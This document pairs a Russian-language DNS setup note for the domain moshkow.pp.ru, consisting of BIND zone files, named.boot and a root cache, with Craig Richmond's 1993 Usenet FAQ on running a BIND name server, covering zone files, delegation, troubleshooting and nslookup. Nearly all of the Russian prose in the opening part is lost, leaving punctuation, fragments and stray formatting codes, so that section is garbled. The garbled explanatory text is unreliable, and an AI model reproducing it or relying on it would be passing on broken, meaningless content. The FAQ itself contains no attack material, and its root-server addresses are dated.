Revers- 173.233.193.in-addr.arpa
233.193.in-addr.arpa ( - RIPN)
/etc/named.boot ; config- DNS
/var/named/moshkow.pp.ru ;
/var/named/193.233.173.0 ; -dns
/var/named/root.cache ; .
/var/named/127.0.0.1 ; .
,
DNS .
1.5
"" ,
/var/named/root.cache .
dns
"" , .
-dns' -
, IP-.
/var/named/moshkow.pp.ru: ========================
@ IN SOA ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
1997093001 ; serial
28800 ;8 Refresh secondary
7200 ;2 Retry secondary ""
6048000;70d Expire secondary
864000);10d Minimum
IN NS ns.moshkow.pp.ru.
IN NS nss.ras.ru.
IN MX 10 mail.moshkow.pp.ru.
IN MX 50 mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ns IN A 193.233.173.111
nss IN A 193.233.172.8
proxy CNAME t111
mail CNAME t111
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
t01 IN A 193.233.173.1
t02 IN A 193.233.173.2
. . .
t254 IN A 193.233.173.254
t255 IN A 193.233.173.255
/var/named/193.233.173.0 : ========================
@ IN SOA ns.moshkow.pp.ru. moshkow.ipsun.ras.ru. (
1997093001 ; serial
28800 ; refresh ( 8 hours)
7200 ; retry ( 2 hours)
6048000 ; expire (70 days )
864000 ) ; minimum (10 days )
IN NS ns.moshkow.pp.ru.
IN NS nss.ras.ru.
IN MX 10 mail.moshkow.pp.ru.
IN MX 50 mail.ras.ru.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
1 IN PTR t01.moshkow.pp.ru.
2 IN PTR t02.moshkow.pp.ru.
. . .
255 IN PTR t255.moshkow.pp.ru.
/var/named/root.cache -----------------------------------------
; ftp://ftp.rs.internic.net/domain/named.root
;
. 3600000 IN NS A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET. 3600000 A 198.41.0.4
. 3600000 NS B.ROOT-SERVERS.NET.
B.ROOT-SERVERS.NET. 3600000 A 128.9.0.107
. 3600000 NS C.ROOT-SERVERS.NET.
C.ROOT-SERVERS.NET. 3600000 A 192.33.4.12
. 3600000 NS D.ROOT-SERVERS.NET.
D.ROOT-SERVERS.NET. 3600000 A 128.8.10.90
. 3600000 NS E.ROOT-SERVERS.NET.
E.ROOT-SERVERS.NET. 3600000 A 192.203.230.10
. 3600000 NS F.ROOT-SERVERS.NET.
F.ROOT-SERVERS.NET. 3600000 A 192.5.5.241
. 3600000 NS G.ROOT-SERVERS.NET.
G.ROOT-SERVERS.NET. 3600000 A 192.112.36.4
. 3600000 NS H.ROOT-SERVERS.NET.
H.ROOT-SERVERS.NET. 3600000 A 128.63.2.53
. 3600000 NS I.ROOT-SERVERS.NET.
I.ROOT-SERVERS.NET. 3600000 A 192.36.148.17
/var/named/127.0.0.0 --------------------------
@ IN SOA localhost. root.localhost. (
1997071201 ; Serial
36000 ; Refresh
3600 ; Retry
3600000 ; Expire
36000 ) ; Minimun
IN NS localhost.
1 IN PTR localhost.
=========== /etc/named.boot
directory /var/named ;
cache . root.cache ;
primary 0.0.127.in-addr.arpa 127.0.0.0 ;
; forwarders 193.124.148.65 193.124.23.4
primary moshkow.pp.ru moshkow.pp.ru ;
primary 173.233.193.in-addr.arpa 193.233.173.0 ;
; secondary moshkow.orc.ru 193.124.148.81 second/moshkow.orc.ru
&dD &d@
$INCLUDE /var/named/header
@
$INCLUDE /var/named/fedfond-hosts-spisok
@
&dD:&d@
&dD : &d@
IN SOA
,
,
.
.
, @
.
. ,
\
.
andrei.arkhipov@elvis.ru
5 :
&dDSerial&d@
.
. :
&dDYYYYMMDDNN&d@
YYYY - , MM - , DD - , NN -
.
&dDRefresh&d@
"refresh"
"serial",
. : 86400,
24 .
&dDRetry&d@
,
"retry" .
: 7200, 2 .
&dDExpire&d@
"expire"
,
.
: 2592000, 30 .
&dDMinimum TTL&d@
,
. : 345600,
4 .
,
( SOA)
,
(ns.spb.su /
ns.ussr.eu.net), ,
.
,
ns.elvis.ru ns2.elvis.ru
ns.spb.su ns.ussr.eu.net
, .
===================================== EOF ===========================
[ Article crossposted from comp.protocols.tcp-ip.domains ]
[ Author was Craig Richmond - division (craig@ecel.uwa.edu.au) ]
[ Posted on 3 Aug 1993 10:53:51 GMT ]
Setting up a basic DNS server for a domain
Revision 1.1.1
Craig Richmond
craig@ecel.uwa.edu.au
3rd August 1993
About this document
I have written this file because it seems that the same questions seem to
pop up time and time again and when I had to install DNS from scratch the
first time, we found very little to help us.
This document covers setting up a Domain Name Server with authority over
your domain and using a few of the more useful but less well known
(hopefully this document will take care of that) features of nslookup to
get information about the DNS and to work out why yours isn't working.
If you are using a Sun Workstation and you want to make NIS interact with
the DNS, then this is not the FAQ for you (but it may well be when you try
to set up the DNS). Mark J. McIntosh points
out that it is included in the comp.sys.sun.admin FAQ and for the benefit
of those of you who can't get that (it is posted in comp.sys.sun.admin,
comp.sys.sun.misc, comp.unix.solaris, comp.answers and news.answers) I have
included the relevant parts at the bottom in appendix C.
Contents:
Contents
An Overview of the DNS
Installing the DNS
*The Boot File
*The Cache File
*The Forward Mapping File
*The Reverse Mapping File
Delegating authority for domains within your domain
Troubleshooting your named
*Named doesn't work! What is wrong?
*I changed my named database and my local machine has noticed,
but nobody else has the new information?
*My local machine knows about all the name server information,
but no other sites know about me?
*My forward domain names work, but the backward names do not?
How to get useful information from nslookup
*Getting number to name mappings.
*Finding where mail goes when a machine has no IP number.
*Getting a list of machines in a domain from nslookup.
Appendicies
*Appendix A sample root.cache file
*Appendix B Excerpt from RFC 1340 - Assigned Numbers - July 1992
*Appendix C Installing DNS on a Sun when running NIS
An Overview of the DNS:
The Domain Name System is the software that lets you have name to number
mappings on your computers. The name decel.ecel.uwa.edu.au is the number
130.95.4.2 and vice versa. This is achieved through the DNS. The DNS is a
heirarchy. There are a small number of root domain name servers that are
responsible for tracking the top level domains and who is under them. The
root domain servers between them know about all the people who have name
servers that are authoritive for domains under the root.
Being authoritive means that if a server is asked about something in that
domain, it can say with no ambiguity whether or not a given piece of
information is true. For example. We have domains x.z and y.z. There are
by definition authoritive name servers for both of these domains and we
shall assume that the name server in both of these cases is a machine
called nic.x.z and nic.y.z but that really makes no difference.
If someone asks nic.x.z whether there is a machine called a.x.z, then
nic.x.z can authoritively say, yes or no because it is the authoritive name
server for that domain. If someone asks nic.x.z whether there is a machine
called a.y.z then nic.x.z asks nic.y.z whether such a machine exists (and
caches this for future requests). It asks nic.y.z because nic.y.z is the
authoritive name server for the domain y.z. The information about
authoritive name servers is stored in the DNS itself and as long as you
have a pointer to a name server who is more knowledgable than yourself then
you are set.
When a change is made, it propogates slowly out through the internet to
eventually reach all machines. The following was supplied by Mark Andrews
Mark.Andrews@syd.dms.csiro.au.
If both the primary and all secondaries are up and talking when
a zone update occurs and for the refresh period after the
update the old data will live for max(refresh + mininum)
average (refresh/2 +mininum) for the zone. New information will
be available from all servers after refresh.
So with a refresh of 3 hours and a minimum of a day, you can expect
everything to be working a day after it is changed. If you have a longer
minimum, it may take a couple of days before things return to normal.
There is also a difference between a zone and a domain. The domain is the
entire set of machines that are contained within an organisational domain
name. For example, the domain uwa.edu.au contains all the machines at the
University of Western Australia. A Zone is the area of the DNS for which a
server is responsible. The University of Western Australia is a large
organisation and trying to track all changes to machines at a central
location would be difficult. The authoritive name server for the zone
uwa.edu.au delegates the authority for the zone ecel.uwa.edu.au to
decel.ecel.uwa.edu.au. Machine foo.ecel.uwa.edu.au is in the zone that
decel is authoritive for. Machine bar.uwa.edu.au is in the zone that
uniwa.uwa.edu.au is authoritive for.
Installing the DNS:
First I'll assume you already have a copy of the Domain Name Server
software. It is probably called named or in.named depending on your
flavour of unix. I never had to get a copy, but if anyone thinks that
information should be here then by all means tell me and I'll put it in.
If you intend on using the package called Bind, then you should be sure
that you get version 4.9, which is the most recent version at this point in
time.
The Boot File:
First step is to create the file named.boot. This describes to named
(we'll dispense with the in.named. Take them to be the same) where the
information that it requires can be found. This file is normally found in
/etc/named.boot and I personally tend to leave it there because then I know
where to find it. If you don't want to leave it there but place it in a
directory with the rest of your named files, then there is usually an
option on named to specify the location of the boot file.
Your typical boot file will look like this if you are an unimportant leaf
node and there are other name servers at your site.
directory /etc/namedfiles
cache . root.cache
primary ecel.uwa.edu.au ecel.uwa.domain
primary 0.0.127.in-addr.arpa 0.0.127.domain
primary 4.95.130.in-addr.arpa 4.95.130.domain
forwarders 130.95.128.1
Here is an alternative layout used by Christophe Wolfhugel
He finds this easier because of
the large number of domains he has. The structure is essentially the same,
but the file names use the domain name rather than the IP subnet to
describe the contents.
directory /usr/local/etc/bind
cache . p/root
forwarders 134.214.100.1 192.93.2.4
;
; Primary servers
;
primary fr.net p/fr.net
primary frmug.fr.net p/frmug.fr.net
primary 127.in-addr.arpa p/127
;
; Secondary servers
;
secondary ensta.fr 147.250.1.1 s/ensta.fr
secondary gatelink.fr.net 134.214.100.1 s/gatelink.fr.net
secondary insa-lyon.fr 134.214.100.1 s/insa-lyon.fr
secondary loesje.org 145.18.226.21 s/loesje.org
secondary nl.loesje.org 145.18.226.21 s/nl.loesje.org
secondary pcl.ac.uk 161.74.160.5 s/pcl.ac.uk
secondary univ-lyon1.fr 134.214.100.1 s/univ-lyon1.fr
secondary wmin.ac.uk 161.74.160.5 s/wmin.ac.uk
secondary westminster.ac.uk 161.74.160.5 s/westminster.ac.uk
;
;
; Secondary for addresses
;
secondary 74.161.in-addr.arpa 161.74.160.5 s/161.74
secondary 214.134.in-addr.arpa 134.214.100.1 s/134.214
secondary 250.147.in-addr.arpa 147.250.1.1 s/147.250
;
; Classes C
;
secondary 56.44.192.in-addr.arpa 147.250.1.1 s/192.44.56
secondary 57.44.192.in-addr.arpa 147.250.1.1 s/192.44.57
The lines in the named.boot file have the following meanings.
directory
This is the path that named will place in front of all file names
referenced from here on. If no directory is specified, it looks for files
relative to /etc.
cache
This is the information that named uses to get started. Named must know
the IP number of some other name servers at least to get started.
Information in the cache is treated differently depending on your version
of named. Some versions of named use the information included in the cache
permenantly and others retain but ignore the cache information once up and
running.
primary
This is one of the domains for which this machine is authorative for. You
put the entire domain name in. You need forwards and reverse lookups. The
first value is the domain to append to every name included in that file.
(There are some exceptions, but they will be explained later) The name at
the end of the line is the name of the file (relative to /etc of the
directory if you specified one). The filename can have slashes in it to
refer to subdirectories so if you have a lot of domains you may want to
split it up.
BE VERY CAREFUL TO PUT THE NUMBERS BACK TO FRONT FOR THE REVERSE LOOK UP
FILE. The example given above is for the subnet ecel.uwa.edu.au whose IP
address is 130.95.4.*. The reverse name must be 4.95.130.in-addr.arpa.
It must be backwards and it must end with .in-addr.arpa. If your reverse
name lookups don't work, check this. If they still don't work, check this
again.
forwarders
This is a list of IP numbers for forward requests for sites about which we
are unsure. A good choice here is the name server which is authoritive for
the zone above you.
secondary (This line is not in the example, but is worth mentioning.)
A secondary line indicates that you wish to be a secondary name server for
this domain. You do not need to do this usually. All it does is help make
the DNS more robust. You should have at least one secondary server for
your site, but you do not need to be a secondary server for anyone else.
You can by all means, but you don't need to be. If you want to be a
secondary server for another domain, then place the line
secondary gu.uwa.edu.au 130.95.100.3 130.95.128.1
in your named.boot. This will make your named try the servers on both of
the machines specified to see if it can obtain the information about those
domains. You can specify a number of IP addresses for the machines to
query that probably depends on your machine. Your copy of named will upon
startup go and query all the information it can get about the domain in
question and remember it and act as though it were authoritive for that
domain.
Next you will want to start creating the data files that contain the name
definitions.
The cache file:
You can get a copy of the cache file from FTP.RS.INTERNIC.NET. The current
copy can be found in Appendix A.
The Forward Mapping file:
The file ecel.uwa.edu.au. will be used for the example with a couple of
machines left in for the purpose of the exercise. Here is a copy of what
the file looks like with explanations following.
; Authoritative data for ecel.uwa.edu.au
;
@ IN SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
93071200 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
IN A 130.95.4.2
IN MX 100 decel
IN MX 150 uniwa.uwa.edu.au.
IN MX 200 relay1.uu.net.
IN MX 200 relay2.uu.net.
localhost IN A 127.0.0.1
decel IN A 130.95.4.2
IN HINFO SUN4/110 UNIX
IN MX 100 decel
IN MX 150 uniwa.uwa.edu.au.
IN MX 200 relay1.uu.net
IN MX 200 relay2.uu.net
gopher IN CNAME decel.ecel.uwa.edu.au.
accfin IN A 130.95.4.3
IN HINFO SUN4/110 UNIX
IN MX 100 decel
IN MX 150 uniwa.uwa.edu.au.
IN MX 200 relay1.uu.net
IN MX 200 relay2.uu.net
chris-mac IN A 130.95.4.5
IN HINFO MAC-II MACOS
The comment character is ';' so the first two lines are just comments
indicating the contents of the file.
All values from here on have IN in them. This indicates that the value is
an InterNet record. There are a couple of other types, but all you need
concern yourself with is internet ones.
The SOA record is the Start Of Authority record. It contains the
information that other nameservers will learn about this domain and how to
treat the information they are given about it. The '@' as the first
character in the line indicates that you wish to define things about the
domain for which this file is responsible. The domain name is found in the
named.boot file in the corresponding line to this filename. All
information listed refers to the most recent machine/domain name so all
records from the '@' until 'localhost' refer to the '@'. The SOA record
has 5 magic numbers. First magic number is the serial number. If you
change the file, change the serial number. If you don't, no other name
servers will update their information. The old information will sit around
for a very long time.
Refresh is the time between refreshing information about the SOA (correct
me if I am wrong). Retry is the frequency of retrying if an authorative
server cannot be contacted. Expire is how long a secondary name server
will keep information about a zone without successfully updating it or
confirming that the data is up to date. This is to help the information
withstand fairly lengthy downtimes of machines or connections in the
network without having to recollect all the information. Minimum is the
default time to live value handed out by a nameserver for all records in
a zone without an explicit TTL value. This is how long the data will live
after being handed out. The two pieces of information before the 5 magic
numbers are the machine that is considered the origin of all of this
information. Generally the machine that is running your named is a good
one for here. The second is an email address for someone who can fix any
problems that may occur with the DNS. Good ones here are postmaster,
hostmaster or root. NOTE: You use dots and not '@' for the email address.
eg root.decel.ecel.uwa.edu.au is correct
and
root@decel.ecel.uwa.edu.au is incorrect.
We now have an address to map ecel.uwa.edu.au to. The address is
130.95.4.2 which happens to be decel, our main machine. If you try to find
an IP number for the domain ecel.uwa.edu.au it will get you the machine
decel.ecel.uwa.edu.au's IP number. This is a nicety which means that
people who have non-MX record mailers can still mail fred@ecel.uwa.edu.au
and don't have to find the name of a machine name under the domain to mail.
Now we have a couple of MX records for the domain itself. The MX records
specify where to send mail destined for the machine/domain that the MX
record is for. In this case we would prefer if all mail for
fred@ecel.uwa.edu.au is sent to decel.ecel.uwa.edu.au. If that does not
work, we would like it to go to uniwa.uwa.edu.au because there are a number
of machines that might have no idea how to get to us, but may be able to get
to uniwa. And failing that, try the site relay1.uu.net. A small number
indicates that this site should be tried first. The larget the number the
further down the list of sites to try the site is. NOTE: Not all machines
have mailers that pay attention to MX records. Some only pay attention to
IP numbers, which is really stupid. All machines are required to have
MX-capable Mail Transfer Agents (MTA) as there are many addresses that can
only be reached via this means.
There is an entry for localhost now. Note that this is somewhat of a
kludge and should probably be handled far more elegantly. By placing
localhost here, a machine comes into existance called
localhost.ecel.uwa.edu.au. If you finger it, or telnet to it, you get your
own machine, because the name lookup returns 127.0.0.1 which is the special
case for your own machine. I have used a couple of different DNS packages.
The old BSD one let you put things into the cache which would always work,
but would not be exported to other nameservers. In the newer Sun one, they
are left in the cache and are mostly ignored once named is up and running.
This isn't a bad solution, its just not a good one.
Decel is the main machine in our domain. It has the IP number 130.95.4.2
and that is what this next line shows. It also has a HINFO entry. HINFO
is Host Info which is meant to be some sort of an indication of what the
machine is and what it runs. The values are two white space seperated
values. First being the hardware and second being the software. HINFO is
not compulsory, its just nice to have sometimes. We also have some MX
records so that mail destined for decel has some other avenues before it
bounces back to the sender if undeliverable.
It is a good idea to give all machines capable of handling mail an MX
record because this can be cached on remote machines and will help to
reduce the load on the network.
gopher.ecel.uwa.edu.au is the gopher server in our division. Now because
we are cheapskates and don't want to go and splurge on a seperate machine
just for handling gopher requests we have made it a CNAME to our main
machine. While it may seem pointless it does have one main advantage.
When we discover that our placing terrabytes of popular quicktime movies
on our gopher server (no we haven't and we don't intend to) causes an
unbearable load on our main machine, we can quickly move the CNAME to
point at a new machine by changing the name mentioned in the CNAME. Then
the slime of the world can continue to get their essential movies with a
minimal interuption to the network. Other good CNAMEs to maintain are
things like ftp, mailhost, netfind, archie, whois, and even dns (though the
most obvious use for this fails). It also makes it easier for people to
find these services in your domain.
We should probably start using WKS records for things like gopher and whois
rather than making DNS names for them. The tools are not in wide
circulation for this to work though. (Plus all those comments in many DNS
implementation of "Not implemented" next to the WKS record)
Finally we have a macintosh which belongs to my boss. All it needs is an
IP number, and we have included the HINFO so that you can see that it is in
fact a macII running a Mac System. To get the list of preferred values,
you should get a copy of RFC 1340. It lists lots of useful information
such as /etc/services values, ethernet manufacturer hardware addresses,
HINFO defualts and many others. I will include the list as it stands at
the moment, but if any RFC superceeds 1340, then it will have a more
complete list. See Appendix B for that list.
NOTE: If Chris had a very high profile and wanted his mac to appear like a
fully connected unix machine as far as internet services were concerned, he
could simply place an MX record such as
IN MX 100 decel
after his machine and any mail sent to chris@chris-mac.ecel.uwa.edu.au
would be automatically rerouted to decel.
The Reverse Mapping File
The reverse name lookup is handled in a most bizarre fashion. Well it all
makes sense, but it is not immediately obvious.
All of the reverse name lookups are done by finding the PTR record
associated with the name w.x.y.z.in-addr.arpa. So to find the name
associated with the IP number 1.2.3.4, we look for information stored in
the DNS under the name 4.3.2.1.in-addr.arpa. They are organised this way
so that when you are allocated a B class subnet for example, you get all of
the IP numbers in the domain 130.95. Now to turn that into a reverse name
lookup domain, you have to invert the numbers or your registered domains
will be spread all over the place. It is a mess and you need not understand
the finer points of it all. All you need to know is that you put the
reverse name lookup files back to front.
Here is the sample reverse name lookup files to go with our example.
0.0.127.in-addr.arpa
--
; Reverse mapping of domain names 0.0.127.in-addr.arpa
; Nobody pays attention to this, it is only so 127.0.0.1 -> localhost.
@ IN SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
91061801 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
;
1 IN PTR localhost.ecel.uwa.edu.au.
--
4.95.130.in-addr.arpa
--
; reverse mapping of domain names 4.95.130.in-addr.arpa
;
@ IN SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
92050300 ; Serial (yymmddxx format)
10800 ; Refresh 3hHours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
2 IN PTR decel.ecel.uwa.edu.au.
3 IN PTR accfin.ecel.uwa.edu.au.
5 IN PTR chris-mac.ecel.uwa.edu.au.
--
It is important to remember that you must have a second start of authority
record for the reverse name lookups. Each reverse name lookup file must
have its own SOA record. The reverse name lookup on the 127 domain is
debatable seeing as there is likely to be only one number in the file and
it is blatantly obvious what it is going to map to.
The SOA details are the same as in the forward mapping.
Each of the numbers listed down the left hand side indicates that the line
contains information for that number of the subnet. Each of the subnets
must be the more significant digits. eg the 130.95.4 of an IP number
130.95.4.2 is implicit for all numbers mentioned in the file.
The PTR must point to a machine that can be found in the DNS. If the name
is not in the DNS, some versions of named just bomb out at this point.
Reverse name lookups are not compulsory, but nice to have. It means that
when people log into machines, they get names indicating where they are
logged in from. It makes it easier for you to spot things that are wrong
and it is far less cryptic than having lots of numbers everywhere. Also if
you do not have a name for your machine, some brain dead protocols such as
talk will not allow you to connect.
Since I had this I had one suggestion of an alternative way to do the
localhost entry. I think it is a matter of personal opinion so I'll
include it here in case anyone things that this is a more appropriate
method.
The following is courtesy of jep@convex.nl (JEP de Bie)
The way I did it was:
1) add in /etc/named.boot:
primary . localhost
primary 127.in-addr.ARPA. IP127
(Craig: It has been suggested by Mark Andrews that this is a bad practice
particularly if you have upgraded to Bind 4.9. You also run the risk of
polluting the root name servers. This comes down to a battle of idealogy
and practicality. Think twice before declaring yourself authorative for
the root domain.)
So I not only declare myself (falsely? - probably, but nobody is going to
listen anyway most likely [CPR]:-) athorative in the 127.in-addr.ARPA domain
but also in the . (root) domain.
2) the file localhost has:
$ORIGIN .
localhost IN A 127.0.0.1
3) and the file IP127:
$ORIGIN 127.in-addr.ARPA.
1.0.0 IN PTR localhost.
4) and I have in my own domain file (convex.nl) the line:
$ORIGIN convex.nl.
localhost IN CNAME localhost.
The advantage (elegancy?) is that a query (A) of localhost. gives the
reverse of the query of 1.0.0.127.in-addr.ARPA. And it also shows that
localhost.convex.nl is only a nickname to something more absolute.
(While the notion of localhost is of course relative :-)).
And I also think there is a subtle difference between the lines
primary 127.in-addr.ARPA. IP127
and
primary 0.0.127.in-addr.ARPA. 4.95.130.domain
=============
JEP de Bie
jep@convex.nl
=============
Delegating authority for domains within your domain:
When you start having a very big domain that can be broken into logical and
seperate entities that can look after their own DNS information, you will
probably want to do this. Maintain a central area for the things that
everyone needs to see and delegate the authority for the other parts of the
organisation so that they can manage themselves.
Another essential piece of information is that every domain that exists
must have it NS records associated with it. These NS records denote the
name servers that are queried for information about that zone. For your
zone to be recognised by the outside world, the server responsible for the
zone above you must have created a NS record for your machine in your
domain. For example, putting the computer club onto the network and giving
them control over their own part of the domain space we have the following.
The machine authorative for gu.uwa.edu.au is mackerel and the machine
authorative for ucc.gu.uwa.edu.au is marlin.
in mackerel's data for gu.uwa.edu.au we have the following
@ IN SOA ...
IN A 130.95.100.3
IN MX mackerel.gu.uwa.edu.au.
IN MX uniwa.uwa.edu.au.
marlin IN A 130.95.100.4
ucc IN NS marlin.gu.uwa.edu.au.
IN NS mackerel.gu.uwa.edu.au.
Marlin is also given an IP in our domain as a convenience. If they blow up
their name serving there is less that can go wrong because people can still
see that machine which is a start. You could place "marlin.ucc" in the
first column and leave the machine totally inside the ucc domain as well.
The second NS line is because mackerel will be acting as secondary name
server for the ucc.gu domain. Do not include this line if you are not
authorative for the information included in the sub-domain.
Troubleshooting your named:
Named doesn't work! What is wrong?
Step 1: Run nslookup and see what nameserver it tries to connect you to.
If nslookup connects you to the wrong nameserver, create a /etc/resolv.conf
file that points your machine at the correct nameserver. If there is no
resolv.conf file, the the resolver uses the nameserver on the local
machine.
Step 2: Make sure that named is actually running.
Step 3: Restart named and see if you get any error messages on the
console and in also check /usr/adm/messages.
Step 4: If named is running, nslookup connects to the appropriate
nameserver and nslookup can answer simple questions, but other programs
such as 'ping' do not work with names, then you need to install resolv+
most likely.
I changed my named database and my local machine has noticed, but nobody
else has the new information?
Change the serial number in the SOA for any domains that you modified and
restart named. Wait an hour and check again. The information propogates
out. It won't change immediately.
My local machine knows about all the name server information, but no other
sites know about me?
Find an upstream nameserver (one that has an SOA for something in your
domain) and ask them to be a secondary name server for you. eg if you are
ecel.uwa.edu.au, ask someone who has an SOA for the domain uwa.edu.au.
Get NS records (and glue) added to your parent zone for your zone. This is
called delegating. It should be done formally like this or you will get
inconsistant answers out of the DNS. ALL NAMSERVERS FOR YOUR ZONE SHOULD
BE LISTED IN THIS MANNER.
My forward domain names work, but the backward names do not?
Make sure the numbers are back to front and have the in-addr.arpa on the
end.
Make sure you reverse zone is registered. For Class C nets this can be done
by mailing to hostmaster@internic.net. For class A & B nets make sure that
you are registeres with the primary for your net and that the net itself
is registered with hostmaster@internic.net.
How to get useful information from nslookup:
Nslookup is a very useful program but I'm sure there are less than 20
people worldwide who know how to use it to its full usefulness. I'm most
certainly not one of them. If you don't like using nslookup, there is at
least one other program called dig, that has most/all(?) of the
functionality of nslookup and is a hell of a lot easier to use.
I won't go into dig much here except to say that it is a lot easier to get
this information out of. I won't bother because nslookup ships with almost
all machines that come with network software.
To run nslookup, you usually just type nslookup. It will tell you the
server it connects to. You can specify a different server if you want.
This is useful when you want to tell if your named information is
consistent with other servers.
Getting name to number mappings.
Type the name of the machine. Typing 'decel' is enough if the machine is
local.
(Once you have run nslookup successfully)
> decel
Server: ecel.uwa.edu.au
Address: 130.95.4.2
Name: decel.ecel.uwa.edu.au
Address: 130.95.4.2
>
One curious quirk of some name resolvers is that if you type a
machine name, they will try a number of permutations. For example if my
machine is in the domain ecel.uwa.edu.au and I try to find a machine
called fred, the resolver will try the following.
fred.ecel.uwa.edu.au.
fred.uwa.edu.au.
fred.edu.au.
fred.au.
fred.
This can be useful, but more often than not, you would simply prefer a good
way to make aliases for machines that are commonly referenced. If you are
running resolv+, you should just be able to put common machines into the
host file.
DIG: dig
Getting number to name mappings.
Nslookup defaults to finding you the Address of the name specified. For
reverse lookups you already have the address and you want to find the
name that goes with it. If you read and understood the bit above where it
describes how to create the number to name mapping file, you would guess
that you need to find the PTR record instead of the A record. So you do
the following.
> set type=ptr
> 2.4.95.130.in-addr.arpa
Server: decel.ecel.uwa.edu.au
Address: 130.95.4.2
2.4.95.130.in-addr.arpa host name = decel.ecel.uwa.edu.au
>
nslookup tells you that the ptr for the machine name
2.4.95.130.in-addr.arpa points to the host decel.ecel.uwa.edu.au.
DIG: dig -x
Finding where mail goes when a machine has no IP number.
When a machine is not IP connected, it needs to specify to the world, where
to send the mail so that it can dial up and collect it every now and then.
This is accomplished by setting up an MX record for the site and not giving
it an IP number. To get the information out of nslookup as to where the
mail goes, do the following.
> set type=mx
> dialix.oz.au
Server: decel.ecel.uwa.oz.au
Address: 130.95.4.2
Non-authoritative answer:
dialix.oz.au preference = 100, mail exchanger = uniwa.uwa.OZ.AU
dialix.oz.au preference = 200, mail exchanger = munnari.OZ.AU
Authoritative answers can be found from:
uniwa.uwa.OZ.AU inet address = 130.95.128.1
munnari.OZ.AU inet address = 128.250.1.21
munnari.OZ.AU inet address = 192.43.207.1
mulga.cs.mu.OZ.AU inet address = 128.250.35.21
mulga.cs.mu.OZ.AU inet address = 192.43.207.2
dmssyd.syd.dms.CSIRO.AU inet address = 130.155.16.1
ns.UU.NET inet address = 137.39.1.3
You tell nslookup that you want to search for mx records and then you give
it the name of the machine. It tells you the preference for the mail
(small means more preferable), and who the mail should be sent to. It also
includes sites that are authorative (have this name in their named database
files) for this MX record. There are multiple sites as a backup. As can
be seen, our local public internet access company dialix would like all of
their mail to be sent to uniwa, where they collect it from. If uniwa is
not up, send it to munnari and munnari will get it to uniwa eventually.
NOTE: For historical reasons Australia used to be .oz which was changed to
oz.au to move to the ISO standard extensions upon the advent of IP. We
are now moving to a more normal heirarchy which is where the .edu.au comes
from. Pity, I liked having oz.
DIG: dig mx
Getting a list of machines in a domain from nslookup.
Find a server that is authorative for the domain or just generally all
knowing. To find a good server, find all the soa records for a given
domain. To do this, you set type=soa and enter the domain just like in the
two previous examples.
Once you have a server type
> ls gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name Internet address
gu server = mackerel.gu.uwa.edu.au
gu server = uniwa.uwa.edu.au
gu 130.95.100.3
snuffle-upagus 130.95.100.131
mullet 130.95.100.2
mackerel 130.95.100.3
marlin 130.95.100.4
gugate 130.95.100.1
gugate 130.95.100.129
helpdesk 130.95.100.180
lan 130.95.100.0
big-bird 130.95.100.130
To get a list of all the machines in the domain.
If you wanted to find a list of all of the MX records for the domain, you
can put a -m flag in the ls command.
> ls -m gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name Metric Host
gu 100 mackerel.gu.uwa.edu.au
gu 200 uniwa.uwa.edu.au
This only works for a limited selection of the different types.
DIG: dig axfr @
Appendix A
;
; This file holds the information on root name servers needed to
; initialize cache of Internet domain name servers
; (e.g. reference this file in the "cache . "
; configuration file of BIND domain name servers).
;
; This file is made available by InterNIC registration services
; under anonymous FTP as
; file /domain/named.root
; on server FTP.RS.INTERNIC.NET
; -OR- under Gopher at RS.INTERNIC.NET
; under menu InterNIC Registration Services (NSI)
; submenu InterNIC Registration Archives
; file named.root
;
; last update: April 21, 1993
; related version of root zone: 930421
;
99999999 IN NS NS.INTERNIC.NET.
NS.INTERNIC.NET. 99999999 A 198.41.0.4
99999999 NS KAVA.NISC.SRI.COM.
KAVA.NISC.SRI.COM. 99999999 A 192.33.33.24
99999999 NS C.NYSER.NET.
C.NYSER.NET. 99999999 A 192.33.4.12
99999999 NS TERP.UMD.EDU.
TERP.UMD.EDU. 99999999 A 128.8.10.90
99999999 NS NS.NASA.GOV.
NS.NASA.GOV. 99999999 A 128.102.16.10
99999999 A 192.52.195.10
99999999 NS NS.NIC.DDN.MIL.
NS.NIC.DDN.MIL. 99999999 A 192.112.36.4
99999999 NS AOS.ARL.ARMY.MIL.
AOS.ARL.ARMY.MIL. 99999999 A 128.63.4.82
99999999 A 192.5.25.82
99999999 NS NIC.NORDU.NET.
NIC.NORDU.NET. 99999999 A 192.36.148.17
; End of File
Appendix B
An Excerpt from
RFC 1340 Assigned Numbers July 1992
MACHINE NAMES
These are the Official Machine Names as they appear in the Domain Name
System HINFO records and the NIC Host Table. Their use is described in
RFC-952 [53].
A machine name or CPU type may be up to 40 characters taken from the
set of uppercase letters, digits, and the two punctuation characters
hyphen and slash. It must start with a letter, and end with a letter
or digit.
ALTO DEC-1080
ALTOS-6800 DEC-1090
AMDAHL-V7 DEC-1090B
APOLLO DEC-1090T
ATARI-104ST DEC-2020T
ATT-3B1 DEC-2040
ATT-3B2 DEC-2040T
ATT-3B20 DEC-2050T
ATT-7300 DEC-2060
BBN-C/60 DEC-2060T
BURROUGHS-B/29 DEC-2065
BURROUGHS-B/4800 DEC-FALCON
BUTTERFLY DEC-KS10
C/30 DEC-VAX-11730
C/70 DORADO
CADLINC DPS8/70M
CADR ELXSI-6400
CDC-170 EVEREX-386
CDC-170/750 FOONLY-F2
CDC-173 FOONLY-F3
